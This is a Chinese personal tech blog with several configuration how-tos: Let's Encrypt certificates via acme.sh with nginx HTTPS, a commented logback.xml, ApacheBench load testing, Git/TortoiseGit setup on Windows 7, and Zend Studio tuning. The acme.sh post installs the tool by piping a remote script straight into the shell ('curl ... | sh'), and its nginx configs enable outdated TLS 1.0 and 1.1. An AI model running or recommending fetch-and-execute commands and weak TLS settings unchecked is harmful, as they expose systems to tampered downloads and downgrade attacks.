竹磬网-邵珠庆の日记 生命只有一次,你可以用它来做些更多伟大的事情–Make the world a little better and easier


281月/190

使用acme.sh为nginx配置https

发布在 邵珠庆

使用acme.sh一键安装Let's Encrypt提供的免费SSL证书 并为nginx配置https

本文章使用derror.com域名作为示例

安装nginx

正常配置并启动nginx保证http能够正常访问: 配置好root目录, 比如: /home/work/local/www/

安装acme.sh

$ curl https://get.acme.sh | sh

开始生成证书(issue a cert)

$ acme.sh --issue -d derror.com -w /home/work/local/www

成功应该会得到以下消息

[Mon Oct 29 08:12:04 EDT 2018] Your cert is in  /root/.acme.sh/derror.com/mrnil.com.cer
[Mon Oct 29 08:12:04 EDT 2018] Your cert key is in  /root/.acme.sh/derror.com/mrnil.com.key
[Mon Oct 29 08:12:05 EDT 2018] The intermediate CA cert is in  /root/.acme.sh/derror.com/ca.cer
[Mon Oct 29 08:12:05 EDT 2018] And the full chain certs is there:  /root/.acme.sh/derror.com/fullchain.cer

配置自动更新证书

$ acme.sh --install-cert -d derror.com \
--key-file       /home/work/local/cert/derror.com/key.pem  \
--fullchain-file /home/work/local/cert/derror.com/cert.pem \
--reloadcmd     "systemctl restart nginx"
--reloadcmd "systemctl restart nginx" 更新后自动重启nginx激活新证书

生成 dhparan.pem

$ openssl dhparam -out /home/work/local/cert/derror.com/dhparam.pem 2048

nginx配置ssl

www.conf

server {
    listen       80 default_server;
    listen       [::]:80 default_server;
    listen       443 ssl;
    server_name  _;

    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
    ssl_prefer_server_ciphers on;
    ssl on;
    ssl_certificate         /home/work/local/cert/derror.com/cert.pem;
    ssl_certificate_key     /home/work/local/cert/derror.com/key.pem;
    # ssl_dhparam
    ssl_dhparam             /home/work/local/cert/derror.com/dhparam.pem;

    root         /home/work/local/www;
    index index.html index.htm;
    location / {
    }
}

重启nginx即可

$ systemctl restart nginx

验证ssl

https://derror.com

https://ssllabs.com/ssltest/analyze.html?d=derror.com

添加二级域名

上面的操作基本就完成了. 下面我们来尝试再添加一个二级域名lab.derror.com

$ acme.sh --issue -d lab.derror.com -w /home/work/local/www
...
[Wed Nov 21 04:19:14 EST 2018] Your cert is in  /root/.acme.sh/lab.derror.com/lab.derror.com.cer 
[Wed Nov 21 04:19:14 EST 2018] Your cert key is in  /root/.acme.sh/lab.derror.com/lab.derror.com.key 
[Wed Nov 21 04:19:16 EST 2018] The intermediate CA cert is in  /root/.acme.sh/lab.derror.com/ca.cer 
[Wed Nov 21 04:19:16 EST 2018] And the full chain certs is there:  /root/.acme.sh/lab.derror.com/fullchain.cer

$ mkdir -p /home/work/local/cert/lab.derror.com

$ acme.sh --install-cert -d lab.derror.com \
--key-file       /home/work/local/cert/lab.derror.com/key.pem  \
--fullchain-file /home/work/local/cert/lab.derror.com/cert.pem \
--reloadcmd     "systemctl restart nginx"

[Wed Nov 21 04:21:57 EST 2018] Installing key to:/home/work/local/cert/lab.derror.com/key.pem
[Wed Nov 21 04:21:57 EST 2018] Installing full chain to:/home/work/local/cert/lab.derror.com/cert.pem
[Wed Nov 21 04:21:57 EST 2018] Run reload cmd: systemctl restart nginx
[Wed Nov 21 04:22:04 EST 2018] Reload success

$ openssl dhparam -out /home/work/local/cert/lab.derror.com/dhparam.pem 2048

nginx配置: lab.conf

server {
    listen       80;
    listen       443 ssl;
    server_name  lab.derror.com;

    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
    ssl_prefer_server_ciphers on;
    ssl_certificate         /home/work/local/cert/lab.derror.com/cert.pem;
    ssl_certificate_key     /home/work/local/cert/lab.derror.com/key.pem;
    # ssl_dhparam
    ssl_dhparam             /home/work/local/cert/lab.derror.com/dhparam.pem;

    root         /home/work/local/www;
    index index.html index.htm;
    location / {
    }
}
$ systemctl restart nginx
1510月/180

logback.xml常用配置

发布在 邵珠庆

一、logback的介绍

Logback是由log4j创始人设计的又一个开源日志组件。logback当前分成三个模块:logback-core,logback- classic和logback-access。logback-core是其它两个模块的基础模块。logback-classic是log4j的一个 改良版本。此外logback-classic完整实现SLF4J API使你可以很方便地更换成其它日志系统如log4j或JDK14 Logging。logback-access访问模块与Servlet容器集成提供通过Http来访问日志的功能。 Logback是要与SLF4J结合起来用两个组件的官方网站如下:

logback的官方网站: http://logback.qos.ch

SLF4J的官方网站:http://www.slf4j.org

本文章用到的组件如下:请自行到官方网站下载!

logback-access-1.0.0.jar

logback-classic-1.0.0.jar

logback-core-1.0.0.jar

slf4j-api-1.6.0.jar

二、logback取代 log4j的理由:

Logback和log4j是非常相似的,如果你对log4j很熟悉,那对logback很快就会得心应手。下面列了logback相对于log4j的一些优点:

    1、更快的实现  Logback的内核重写了,在一些关键执行路径上性能提升10倍以上。而且logback不仅性能提升了,初始化内存加载也更小了。

    2、非常充分的测试  Logback经过了几年,数不清小时的测试。Logback的测试完全不同级别的。在作者的观点,这是简单重要的原因选择logback而不是log4j。

    3、Logback-classic非常自然实现了SLF4j    Logback-classic实现了 SLF4j。在使用SLF4j中,你都感觉不到logback-classic。而且因为logback-classic非常自然地实现了SLF4J,  所 以切换到log4j或者其他,非常容易,只需要提供成另一个jar包就OK,根本不需要去动那些通过SLF4JAPI实现的代码。

    4、非常充分的文档  官方网站有两百多页的文档。

    5、自动重新加载配置文件  当配置文件修改了,Logback-classic能自动重新加载配置文件。扫描过程快且安全,它并不需要另外创建一个扫描线程。这个技术充分保证了应用程序能跑得很欢在JEE环境里面。

    6、Lilith   Lilith是log事件的观察者,和log4j的chainsaw类似。而lilith还能处理大数量的log数据 。

    7、谨慎的模式和非常友好的恢复  在谨慎模式下,多个FileAppender实例跑在多个JVM下,能 够安全地写道同一个日志文件。RollingFileAppender会有些限制。Logback的FileAppender和它的子类包括 RollingFileAppender能够非常友好地从I/O异常中恢复。

    8、配置文件可以处理不同的情况   开发人员经常需要判断不同的Logback配置文件在不同的环境下(开发,测试,生产)。而这些配置文件仅仅只有一些很小的不同,可以通过,和来实现,这样一个配置文件就可以适应多个环境。

    9、Filters(过滤器)  有些时候,需要诊断一个问题,需要打出日志。在log4j,只有降低日志级别,不过这样会打出大量的日志,会影响应用性能。在Logback,你可以继续 保持那个日志级别而除掉某种特殊情况,如alice这个用户登录,她的日志将打在DEBUG级别而其他用户可以继续打在WARN级别。要实现这个功能只需 加4行XML配置。可以参考MDCFIlter 。

   10、SiftingAppender(一个非常多功能的Appender)  它可以用来分割日志文件根据任何一个给定的运行参数。如,SiftingAppender能够区别日志事件跟进用户的Session,然后每个用户会有一个日志文件。

   11、自动压缩已经打出来的log  RollingFileAppender在产生新文件的时候,会自动压缩已经打出来的日志文件。压缩是个异步过程,所以甚至对于大的日志文件,在压缩过程中应用不会受任何影响。

   12、堆栈树带有包版本  Logback在打出堆栈树日志时,会带上包的数据。

   13、自动去除旧的日志文件  通过设置TimeBasedRollingPolicy或者SizeAndTimeBasedFNATP的maxHistory属性,你可以控制已经产生日志文件的最大数量。如果设置maxHistory 12,那那些log文件超过12个月的都会被自动移除。

总之,logback比log4j太优秀了,让我们的应用全部建立logback上吧 !

、Logback的配置介绍

1、Logger、appender及layout

Logger作为日志的记录器,把它关联到应用的对应的context上后,主要用于存放日志对象,也可以定义日志类型、级别。

Appender主要用于指定日志输出的目的地,目的地可以是控制台、文件、远程套接字服务器、 MySQL、PostreSQL、 Oracle和其他数据库、 JMS和远程UNIX Syslog守护进程等。

Layout 负责把事件转换成字符串,格式化的日志信息的输出。

     2、logger context

各个logger 都被关联到一个 LoggerContext,LoggerContext负责制造logger,也负责以树结构排列各logger。其他所有logger也通过org.slf4j.LoggerFactory 类的静态方法getLogger取得。 getLogger方法以 logger名称为参数。用同一名字调用LoggerFactory.getLogger 方法所得到的永远都是同一个logger对象的引用。

   3、有效级别及级别的继承

Logger 可以被分配级别。级别包括:TRACE、DEBUG、INFO、WARN 和 ERROR,定义于ch.qos.logback.classic.Level类。如果 logger没有被分配级别,那么它将从有被分配级别的最近的祖先那里继承级别。root logger 默认级别是 DEBUG。

4、打印方法与基本的选择规则

    打印方法决定记录请求的级别。例如,如果 L 是一个 logger 实例,那么,语句 L.info("..")是一条级别为 INFO的记录语句。记录请求的级别在高于或等于其 logger 的有效级别时被称为被启用,否则,称为被禁用。记录请求级别为 p,其 logger的有效级别为 q,只有则当 p>=q时,该请求才会被执行。

    该规则是 logback 的核心。级别排序为: TRACE < DEBUG < INFO < WARN < ERROR

 

四、Logback的默认配置

如果配置文件 logback-test.xml 和 logback.xml 都不存在,那么 logback 默认地会调用BasicConfigurator ,创建一个最小化配置。最小化配置由一个关联到根 logger 的ConsoleAppender 组成。输出用模式为%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n 的 PatternLayoutEncoder 进行格式化。root logger 默认级别是 DEBUG。

     1、Logback的配置文件

Logback 配置文件的语法非常灵活。正因为灵活,所以无法用 DTD 或 XML schema 进行定义。尽管如此,可以这样描述配置文件的基本结构:以<configuration>开头,后面有零个或多个<appender>元素,有零个或多个<logger>元素,有最多一个<root>元素。

     2、Logback默认配置的步骤

     (1). 尝试在 classpath 下查找文件 logback-test.xml;

(2). 如果文件不存在,则查找文件 logback.xml;

(3). 如果两个文件都不存在,logback 用 Bas icConfigurator 自动对自己进行配置,这会导致记录输出到控制台

以下为详细代码

<?xml version="1.0" encoding="UTF-8"?>
<!-- 说明: 1、日志级别及文件 日志记录采用分级记录,级别与日志文件名相对应,不同级别的日志信息记录到不同的日志文件中 例如:error级别记录到log_error_xxx.log或log_error.log(该文件为当前记录的日志文件),而log_error_xxx.log为归档日志, 
    日志文件按日期记录,同一天内,若日志文件大小等于或大于2M,则按0、1、2...顺序分别命名 例如log-level-2013-12-21.0.log 
    其它级别的日志也是如此。 2、文件路径 若开发、测试用,在Eclipse中运行项目,则到Eclipse的安装路径查找logs文件夹,以相对路径../logs。 
    若部署到Tomcat下,则在Tomcat下的logs文件中 3、Appender FILEERROR对应error级别,文件名以log-error-xxx.log形式命名 
    FILEWARN对应warn级别,文件名以log-warn-xxx.log形式命名 FILEINFO对应info级别,文件名以log-info-xxx.log形式命名 
    FILEDEBUG对应debug级别,文件名以log-debug-xxx.log形式命名 stdout将日志信息输出到控制上,为方便开发测试使用 -->
<configuration>

    <!-- 在Eclipse中运行,请到Eclipse的安装目录中找log文件,Tomcat下,请到Tomcat目录下找 -->
    <!-- <property name="LOG_PATH" value="/xebest/logs/llmj-app" /> -->
    <property name="LOG_PATH" value="E:/logs/llmj-app" />
    <!-- 日志记录器,日期滚动记录 -->
    <appender name="FILEERROR"
        class="ch.qos.logback.core.rolling.RollingFileAppender">
        <!-- 正在记录的日志文件的路径及文件名 -->
        <file>${LOG_PATH}/log_error.log</file>
        <!-- 日志记录器的滚动策略,按日期,按大小记录 -->
        <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
            <!-- 归档的日志文件的路径,例如今天是2013-12-21日志,当前写的日志文件路径为file节点指定,可以将此文件与file指定文件路径设置为不同路径,从而将当前日志文件或归档日志文件置不同的目录。 
                而2013-12-21的日志文件在由fileNamePattern指定。%d{yyyy-MM-dd}指定日期格式,%i指定索引 -->
            <fileNamePattern>${LOG_PATH}/log-error-%d{yyyy-MM-dd}.%i.log
            </fileNamePattern>
            <!-- 除按日志记录之外,还配置了日志文件不能超过2M,若超过2M,日志文件会以索引0开始, 命名日志文件,例如log-error-2013-12-21.0.log -->
            <timeBasedFileNamingAndTriggeringPolicy
                class="ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP">
                <maxFileSize>2MB</maxFileSize>
            </timeBasedFileNamingAndTriggeringPolicy>
        </rollingPolicy>
        <!-- 追加方式记录日志 -->
        <append>true</append>
        <!-- 日志文件的格式 -->
        <encoder class="ch.qos.logback.classic.encoder.PatternLayoutEncoder">
            <pattern>%-5p [%d][%mdc{mdc_userId}] %C:%L - %m %n</pattern>
            <charset>utf-8</charset>
        </encoder>
        <!-- 此日志文件只记录error级别的 -->
        <filter class="ch.qos.logback.classic.filter.LevelFilter">
            <level>error</level>
            <onMatch>ACCEPT</onMatch>
            <onMismatch>DENY</onMismatch>
        </filter>
    </appender>

    <appender name="FILEWARN"
        class="ch.qos.logback.core.rolling.RollingFileAppender">
        <file>${LOG_PATH}/log_warn.log</file>
        <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
            <fileNamePattern>${LOG_PATH}/log-warn-%d{yyyy-MM-dd}.%i.log
            </fileNamePattern>
            <timeBasedFileNamingAndTriggeringPolicy
                class="ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP">
                <maxFileSize>2MB</maxFileSize>
            </timeBasedFileNamingAndTriggeringPolicy>
        </rollingPolicy>
        <append>true</append>
        <encoder class="ch.qos.logback.classic.encoder.PatternLayoutEncoder">
            <pattern>%-5p [%d][%mdc{mdc_userId}] %C:%L - %m %n</pattern>
            <charset>utf-8</charset>
        </encoder>
        <!-- 此日志文件只记录warn级别,不记录大于warn级别的日志 -->
        <filter class="ch.qos.logback.classic.filter.LevelFilter">
            <level>WARN</level>
            <onMatch>ACCEPT</onMatch>
            <onMismatch>DENY</onMismatch>
        </filter>
    </appender>

    <appender name="FILEINFO"
        class="ch.qos.logback.core.rolling.RollingFileAppender">
        <file>${LOG_PATH}/log_info.log</file>
        <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
            <fileNamePattern>${LOG_PATH}/log-info-%d{yyyy-MM-dd}.%i.log
            </fileNamePattern>
            <timeBasedFileNamingAndTriggeringPolicy
                class="ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP">
                <maxFileSize>2MB</maxFileSize>
            </timeBasedFileNamingAndTriggeringPolicy>
        </rollingPolicy>
        <append>true</append>
        <encoder class="ch.qos.logback.classic.encoder.PatternLayoutEncoder">
            <pattern>%-5p [%d][%mdc{mdc_userId}] %C:%L - %m %n</pattern>
            <charset>utf-8</charset>
        </encoder>
        <!-- 此日志文件只记录info级别,不记录大于info级别的日志 -->
        <filter class="ch.qos.logback.classic.filter.LevelFilter">
            <level>INFO</level>
            <onMatch>ACCEPT</onMatch>
            <onMismatch>DENY</onMismatch>
        </filter>
    </appender>


    <appender name="FILEDEBUG"
        class="ch.qos.logback.core.rolling.RollingFileAppender">
        <file>${LOG_PATH}/log_debug.log</file>
        <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
            <fileNamePattern>${LOG_PATH}/log-debug-%d{yyyy-MM-dd}.%i.log
            </fileNamePattern>
            <timeBasedFileNamingAndTriggeringPolicy
                class="ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP">
                <maxFileSize>2MB</maxFileSize>
            </timeBasedFileNamingAndTriggeringPolicy>
        </rollingPolicy>
        <append>true</append>
        <encoder class="ch.qos.logback.classic.encoder.PatternLayoutEncoder">
            <pattern>%-5p [%d][%mdc{mdc_userId}] %C:%L - %m %n</pattern>
            <charset>utf-8</charset>
        </encoder>
        <!-- 此日志文件只记录debug级别,不记录大于debug级别的日志 -->
        <filter class="ch.qos.logback.classic.filter.LevelFilter">
            <level>DEBUG</level>
            <onMatch>ACCEPT</onMatch>
            <onMismatch>DENY</onMismatch>
        </filter>
    </appender>

    <appender name="stdout" class="ch.qos.logback.core.ConsoleAppender">
        <Target>System.out</Target>
        <encoder>
            <pattern>%-5p [%d][%mdc{mdc_userId}] %C:%L - %m %n</pattern>
            <charset>utf-8</charset>
        </encoder>
        <!-- 此日志appender是为开发使用,只配置最底级别,控制台输出的日志级别是大于或等于此级别的日志信息 -->
        <filter class="ch.qos.logback.classic.filter.ThresholdFilter">
            <level>DEBUG</level>
        </filter>
    </appender>

    <appender name="FILTER_INFO"
        class="ch.qos.logback.core.rolling.RollingFileAppender">
        <File>${LOG_PATH}/log_filter.log</File>
        <encoder>
            <pattern>%d{yyyy-MM-dd HH:mm:ss} : %m%n</pattern>
        </encoder>
        <filter class="ch.qos.logback.classic.filter.ThresholdFilter">
            <level>INFO</level>
        </filter>
        <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">  
            <fileNamePattern>${LOG_PATH}/log_filter.%d{yyyy-MM-dd}</fileNamePattern>  
        </rollingPolicy>  
    </appender>
    
     <logger name="FILTER_INFO_LOGGER" additivity="false" level="INFO"> 
         <appender-ref ref="FILTER_INFO" /> 
     </logger>


    <appender name="INTEREST_BEARING_INFO"
        class="ch.qos.logback.core.rolling.RollingFileAppender">
        <File>${LOG_PATH}/log_interest_bearing.log</File>
        <encoder>
            <pattern>%d{yyyy-MM-dd HH:mm:ss} : %m%n</pattern>
        </encoder>
        <filter class="ch.qos.logback.classic.filter.ThresholdFilter">
            <level>INFO</level>
        </filter>
        <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">  
            <fileNamePattern>${LOG_PATH}/log_interest_bearing.%d{yyyy-MM-dd}</fileNamePattern>  
        </rollingPolicy>  
    </appender>
    
     <logger name="INTEREST_BEARING_LOGGER" additivity="true" level="INFO"> 
         <appender-ref ref="INTEREST_BEARING_INFO" /> 
     </logger>


    <!-- 为单独的包配置日志级别,若root的级别大于此级别, 此处级别也会输出 应用场景:生产环境一般不会将日志级别设置为trace或debug,但是为详细的记录SQL语句的情况, 
        可将hibernate的级别设置为debug,如此一来,日志文件中就会出现hibernate的debug级别日志, 而其它包则会按root的级别输出日志 -->
    <logger name="org.springframework" level="DEBUG" />
    <logger name="com.ibatis" level="DEBUG" />  
    <logger name="com.ibatis.common.jdbc.SimpleDataSource" level="DEBUG" />  
    <logger name="com.ibatis.common.jdbc.ScriptRunner" level="DEBUG" />  
    <logger name="com.ibatis.sqlmap.engine.impl.SqlMapClientDelegate" level="DEBUG" />  
    <logger name="java.sql.Connection" level="DEBUG" />  
    <logger name="java.sql.Statement" level="DEBUG" />  
    <logger name="java.sql.PreparedStatement" level="DEBUG" />  


    <!-- 生产环境,将此级别配置为适合的级别,以名日志文件太多或影响程序性能 -->
    <root level="INFO">
        <appender-ref ref="FILEDEBUG" />
        <appender-ref ref="FILEINFO" />
        <appender-ref ref="FILEWARN" />
        <appender-ref ref="FILEERROR" />
        <!-- 生产环境将请stdout去掉 -->
         <appender-ref ref="stdout" /> 
    </root>
</configuration>
34月/180

配置ab为Nginx服务器压力测试

发布在 邵珠庆

在运维工作中,压力测试是一项非常重要的工作。比如在一个网站上线之前,能承受多大访问量、在大访问量情况下性能怎样,这些数据指标好坏将会直接影响用户体验。
但是,在压力测试中存在一个共性,那就是压力测试的结果与实际负载结果不会完全相同,就算压力测试工作做的再好,也不能保证100%和线上性能指标相同。面对这些问题,我们只能尽量去想方设法去模拟。所以,压力测试非常有必要,有了这些数据,我们就能对自己做维护的平台做到心中有数。
目前较为常见的网站压力测试工具有webbench、ab(apache bench)、tcpcopy、loadrunner。
webbench由Lionbridge公司开发,主要测试每秒钟请求数和每秒钟数据传输量,同时支持静态、动态、SSL,部署简单,静动态均可测试。适用于小型网站压力测试(单例最多可模拟3万并发) 。
ab(apache bench)Apache自带的压力测试工具,主要功能用于测试网站每秒钟处理请求个数,多见用于静态压力测试,功能较弱,非专业压力测试工具。
tcpcopy基于底层应用请求复制,可转发各种在线请求到测试服务器,具有分布式压力测试功能,所测试数据与实际生产数据较为接近后起之秀,主要用于中大型压力测试,所有基于tcp的packets均可测试。
loadrunner压力测试界的泰斗,可以创建虚拟用户,可以模拟用户真实访问流程从而录制成脚本,其测试结果也最为逼真模拟最为逼真,并可进行独立的单元测试,但是部署配置较为复杂,需要专业人员才可以。
下面,笔者就以ab为例,来讲解一下网站在上线之前压力测试是如何做的。
ab是针对apache的性能测试工具,可以只安装ab工具。

ubuntu安装ab

apt-get install apache2-utils

centos安装ab

yum install httpd-tools

测试之前需要准备一个简单的html、一个php、一个图片文件。

分别对他们进行测试。

我们把这个三个文件放到nginx安装目录默认的html目录下,

自动草稿

准备之后我们就可以测试了

ab -kc 1000 -n 1000 http://localhost/ab.html

这个指令会使用1000个并发,进行连接1000次。结果如下

root@~# ab -kc 1000 -n 1000 http://www.nginx.cn/ab.html
This is ApacheBench, Version 2.3 <$Revision: 655654 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking www.nginx.cn (be patient)
Completed 100 requests
Completed 200 requests
Completed 300 requests
Completed 400 requests
Completed 500 requests
Completed 600 requests
Completed 700 requests
Completed 800 requests
Completed 900 requests
Completed 1000 requests
Finished 1000 requests
Server Software: nginx/1.2.3
Server Hostname: www.nginx.cn
Server Port: 80

Document Path: /ab.html
Document Length: 192 bytes

Concurrency Level: 1000
Time taken for tests: 60.444 seconds
Complete requests: 1000
Failed requests: 139
(Connect: 0, Receive: 0, Length: 139, Exceptions: 0)
Write errors: 0
Non-2xx responses: 1000
Keep-Alive requests: 0
Total transferred: 732192 bytes
HTML transferred: 539083 bytes
Requests per second: 16.54 [#/sec] (mean)
Time per request: 60443.585 [ms] (mean)
Time per request: 60.444 [ms] (mean, across all concurrent requests)
Transfer
 rate: 11.83 [Kbytes/sec] received

Connection Times (ms)
min mean[ /-sd] median max
Connect: 55 237 89.6 261 328
Processing: 58 5375 13092.8 341 60117
Waiting: 57 5337 12990.0 341 59870
Total: 386 5611 13083.7 572 60443

Percentage of the requests served within a certain time (ms)
50% 572
66% 606
75% 635
80% 672
90% 30097
95% 42004
98% 47250
99% 49250
100% 60443 (longest request)

对于php文件和图片文件可以使用同样指令进行,结果我就不贴出来了。

ab -kc 500 -n 5000 http://localhost/ab.php

ab -kc 500 -n 5000 http://localhost/ab.gif

输出结果我们可以从字面意思就可以理解。

这里对两个比较重要的指标做下说明

比如

Requests per second: 16.54 [#/sec] (mean)
Time per request: 60443.585 [ms] (mean)

Requests per second: 16.54 [#/sec] (mean)

表示当前测试的服务器每秒可以处理16.54个静态html的请求事务,后面的mean表示平均。这个数值表示当前机器的整体性能,值越大越好。

Time per request: 60443.585 [ms] (mean)

单个并发的延迟时间,后面的mean表示平均。
隔离开当前并发,单独完成一个请求需要的平均时间。

顺带说一下两个Time per request区别

Time per request: 60443.585 [ms] (mean)
Time per request: 60.444 [ms] (mean, across all concurrent requests)

前一个衡量单个请求的延迟,cpu是分时间片轮流执行请求的,多并发的情况下,一个并发上的请求时需要等待这么长时间才能得到下一个时间片。
计算方法Time per request: 60.444 [ms] (mean, across all concurrent requests)*并发数

通俗点说就是当以-c 10的并发下完成-n 1000个请求的同时,额外加入一个请求,完成这个求平均需要的时间。

后一个衡量性能的标准,它反映了完成一个请求需要的平均时间,在当前的并发情况下,增加一个请求需要的时间。
计算方法Time taken for tests: 60.444 seconds/Complete requests: 1000

通俗点说就是当以-c 10的并发下完成-n 1001个请求时,比完成-n1000个请求多花的时间。
你可以适当调节-c 和-n大小来测试服务器性能,借助htop指令来直观的查看机器的负载情况。

我的机器是盛大云的超微主机,平时负载cpu是1.7%,htop命令结果截图

自动草稿

加压后的负载100%,负载基本已经上来了。htop命令结果截图

自动草稿

看来我需要好好优化一下,或者就换台机器了。

ab的参数详细解释
普通的测试,使用-c -n参数配合就可以完成任务
格式: ./ab [options] [http://]hostname[:port]/path
参数:
-n 测试的总请求数。默认时,仅执行一个请求
-c 一次并发请求个数。默认是一次一个。
-H 添加请求头,例如 ‘Accept-Encoding: gzip\',以gzip方式请求。
-t 测试所进行的最大秒数。其内部隐含值是-n 50000。它可以使对服务器的测试限制在一个固定的总时间以内。默认时,没有时间限制。
-p 包含了需要POST的数据的文件.
-T POST数据所使用的Content-type头信息。
-v 设置显示信息的详细程度 – 4或更大值会显示头信息, 3或更大值可以显示响应代码(404, 200等), 2或更大值可以显示警告和其他信息。 -V 显示版本号并退出。
-w 以HTML表的格式输出结果。默认时,它是白色背景的两列宽度的一张表。
-i 执行HEAD请求,而不是GET。
-C -C cookie-name=value 对请求附加一个Cookie:行。 其典型形式是name=value的一个参数对。此参数可以重复。

268月/140

Win7上Git安装及配置过程

发布在 邵珠庆

Win7Git安装及配置过程

 

文档名称 Win7Git安装及配置过程
创建时间 2012/8/20
修改时间 2012/8/20
创建人 Baifx
简介(收获) 1、在win7上安装msysgit步骤;

2、在win7上安装TortoiseGit步骤;

3、在VS2010中集成Git方法和步骤(未)。

参考源 Git的配置与使用

http://wenku.baidu.com/view/929d7b4e2e3f5727a5e962a8.html

 

一、安装说明

1Gitwindows平台上安装说明。

         Git  Linux Torvalds 为了帮助管理 Linux 内核开发而开发的一个开放源码的版本控制软件。目前Git已经可以在windows下使用,主要方法有二:msysgitCygwinCygwinLinux使用方法类似,Windows版本的Git提供了友好的GUI(图形界面),安装后很快可以上手,此处我们主要讨论基于msysgitGit安装和使用。

         TortoiseGitTortoiseSVNGit版本,TortoiseGit用于迁移TortoiseSVNTortoiseGit。一直以来GitWindows平台没有好用GUI客户端,现在TortoiseGit的出现给Windows开发者带来福音。我们将在64win7操作系统上安装Git,并使用GUI界面,则需同时安装msysGitTortoiseGit

2、阅读TortoiseGit官方安装说明:

http://code.google.com/p/tortoisegit/wiki/SetupHowTo

System prerequisites

  • For the latest version of TortoiseGit Windows XP SP3 or newer is required.
  • Admin privileges for the installation
  • msysGit is required by TortoiseGit
    • You do not need to download the whole msysGit development package, the "Full installer for official Git for Windows" download package is sufficient
    • msysGit 1.7.10+ is recommended for TortoiseGit 1.7.9+ (msysGit 1.7.10 adds utf-8 support and is compatible to *nix git)
    • minimum compatible version is 1.6.1 (for TortoiseGit < 1.7.9 you should use msysGit 1.7.6)

Installation

Just download the setup package for your system and install it. If you are running a 64 bit system, you do not need to download and install the 32 bit version: The 32 bit shell extension is included in the 64 bit installer since TortoiseGit 1.7.3.0.

Windows 2000

If you want to use TortoiseGit in a Win2K environment (only 1.6.5 and below support Win2K), please install GDI+ before you install TortoiseGit. However, running these old versions is not recommended (no utf-8 and separate-git-dir support).

Upgrade

Before upgrading you should read the ReleaseNotes.

Just download the setup package for your system and install it. The old version will be replaced automatically.

If you are upgrading from 1.7.3.0 or older and you have installed the 32-bit version on a 64-bit system you have to deinstall the 32-bit version first.

Common problems (installer aborts with an error message)

"This installation package is not supported by this processor type. Contact your product vendor."

This means you are trying to install the 64-bit version of TortoiseGit on a normal 32-bit operating system. You need to download and use the correct msi file for your OS. For normal 32-bit OS, make sure the msi filename does not have "64-bit" in it.

"Please wait while the installer finishes determining your disk space requirements."

Cleanup/empty the temp-directory (e.g. C:Users<your user>AppDataLocalTemp, C:User and Settings<your user>Local SettingsTemp, c:WindowsTemp).

         由如上说明,我们寻找要下载的对应安装包,如下。

 

二、下载安装包

1TortoiseGit下载地址:

http://code.google.com/p/tortoisegit/downloads/list

本次下载版本——TortoiseGit-1.7.12.0-64bit.msi 

TortoiseGit 1.7.12.0 64bit  

x64 Featured 

2msysgit下载地址:

http://code.google.com/p/msysgit/downloads/list

本次下载版本——Git-1.7.11-preview20120710.exe 

Full installer for official Git for Windows 1.7.11  

Featured Beta 

 

三、安装过程

安装顺序:首先安装msysgit;然后安装TortoiseGit。

1、安装msysgit

a、安装包下载完成后,双击进入安装界面,如下图:

 

 

 

 

b、两步next后选择安装目录,如下图:

 

 

 

 

cnext进入Git安装模块选择,默认,如下图:

 

 

 

 

dnext进入Git setup界面,“Select start menu folder”,默认,如下图:

 

 

 

 

enext进入Git Setup界面,“Adjusting your PATH environment”,选择默认值“Use Git Bash only”,如下图所示:

 

 

 

 

fnext进入Git Setup界面,“Configuring the line ending conversions”,选择换行格式,选择“Checkout as-is, commit Unix-style line endings”,如下图所示:

 

 

 

 

gnext进入安装界面,完成安装,如下图所示:

 

 

 

 

这个时候已经可以使用git了, 打开Git Bash可以进入linux shell,可以使用git命令进行各种操作,由于大家都习惯使用图形界面的 TortoiseSVN,下面介绍使用 TortoiseSVN的类似软件TortoiseGit,使用习惯相同,大家应该比较容易使用。

2、安装TortoiseGit

a、双击安装程序,进入安装界面,如下如所示:

 

 

 

 

b、两步next进入“Choose SSH Client”选择界面,选择“OpenSSHGit default SSH Client”,如下图所示:

 

 

 

 

cnext进入“Custom Setup”界面,选择默认值,如下图所示:

 

 

 

 

dnext,进入“Ready to Install”界面,选择“Install”按钮开始安装过程,完成安装。如下图所示:

 

 

 

 

e、至此,TortoiseGit安装完成。在桌面空白处点击右键,右键菜单中会加入TortoiseGit快捷键,如下图所示:

 

 

 

 

f、选择“Settings”,进入“Settings-TortoiseGit”界面,选择“General”选项卡,设置本机器的git路径,如下图所示:

 

 

 

 

g、同时选择“Network”选项卡,设置SSH路径。SSH默认在安装Git时就安装了,在如下图所示的路径中。如下图所示:

 

 

 

 

h、选择“Git”选项卡,设置用户名、邮箱和key。如下图所示:

 

 

 

 

注:如果暂时在本地使用就只需将用户名和邮箱添加,而“Signing key”会自动生成。

至此,TortoiseGit设置完成。

 

3、下载代码。

a、桌面空白处右键,选择git clone添加版本库地址URL和本地文件夹。如下图所示:

 

 

 

 

点击ok即可下载一份新版本库。

 

 

 

141月/130

Zend Studio9 配置优化

发布在 邵珠庆

 

今天使用ZendStudio9的时候再次被卡得想死,ctrl+s保存文件的时候zend会先build什么东西,然后才进行save操作,每次如此。突然好怀念当初使用的zendStudio5.5,完全只是php的开发环境。而在6.0之后的版本都成为了ZendStudio for eclipse,也就是均是基于eclipse的。功能很强大,但能用到的却不多,还很占用资源。真想把他换了。但找来找去,还真找不到一个能比拟ZendStudio的开发环境,也不是很想退回去使用5.5的版本。

        那么我就自己研究Zend Studio的菜单栏和工具栏,看看有没有可以优化的配置,以下说明不一定正确:

1、关闭自动Build:
 Project -> Build Automatically 前面的勾选取消掉
